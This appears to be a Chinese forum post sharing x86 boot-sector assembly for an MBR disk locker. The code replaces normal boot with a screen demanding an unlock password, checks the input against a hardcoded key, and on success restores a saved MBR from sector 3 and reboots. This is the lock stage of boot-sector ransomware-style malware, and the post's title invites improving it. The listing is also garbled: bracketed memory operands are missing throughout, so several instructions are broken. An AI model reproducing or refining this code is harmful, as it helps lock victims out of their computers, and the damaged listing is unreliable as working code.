待改进的锁芯
org 0x7c00jmp start
start:
mov ax,cs
mov ds,ax
mov ss,ax
mov es,ax
mov sp,0x100
main:
mov bp,msg1
mov bx,msg1
call strlen
mov cx,ax
mov ax,0x1301
mov bx,0x0c
mov dl,0
int 0x10
;验证密码
mov ax,0xb800 ;显示缓冲区
add ax,0xA0 ;定位到第二行
mov ds,ax ;ds的值为0xb8A0 也就是显示器的第二行。
xor cx,cx ;cx = 0
xor bx,bx
GetChar:
xor ax,ax
int 0x16 ;键盘中断 具体请大家上百度查询
cmp AL,0x8 ;退格键 if al==0x8
je back
CMP al,0x0d ;回车键
je entry
mov ah,2
mov ,al
mov ,ah
add bx,2
inc cx
jmp GetChar
back:
sub bx,2
dec cx
xor ax,ax
mov ,ax
jmp GetChar
entry:
;逐个字符比较
mov ax,cs
mov es,ax
xor bx,bx ;bx = 0
mov si,Key ;si 指向真正的密码 bx指向输入的密码
mov cl,
mov ch,0 ;cx
cmp_key:
mov al,
mov ah,
cmp al,ah
jne key_err ;不相同,退出
add bx,2
inc si
loop cmp_key
;密码验证正确,进行解密工作
;读取
xor ax,ax ;初始化
mov ax,0x7e00
mov es,ax
xor bx,bx
mov ah,0x2
mov dl,0x80
mov al,1 ;数量
mov dh,0 ;磁头
mov ch,0 ;柱面
mov cl,3 ;扇区
int 0x13
;写回去
xor bx,bx
mov dl,0x80
mov ah,0x3
mov al,1 ;数量
mov dh,0 ;磁头
mov ch,0 ;柱面
mov cl,1 ;MBR扇区
int 0x13
jmp _REST ;重启计算机
key_err:
mov bx,0xb800
add bx,msg1_end-msg1
mov al,'X'
mov ,al
mov cx,
xor ax,ax
kk: ;对输入的清0
mov ,ax
add bx,2
loop kk
jmp start
;重启计算机
_REST:
mov ax,0xffff
push ax
mov ax,0
push ax
retf
strlen:
;DS:BX 为入口参数
;ax为返回值
push cx
push bx
.while:
mov cl,
cmp cl,0
jz .Exit
inc bx
inc ax
jmp .while
.Exit:
pop cx
pop bx
ret
data: ;数据区域
KeySize1:db 18
Key:db 'AAAAAAAAAAAAAAAAAA',0
msg1: db 'Your disk have a lock!!!Please enter the unlock password'
msg1_end:db 0
times 510-($-$$) db 0x0
dw 0xAA55
页:
[1]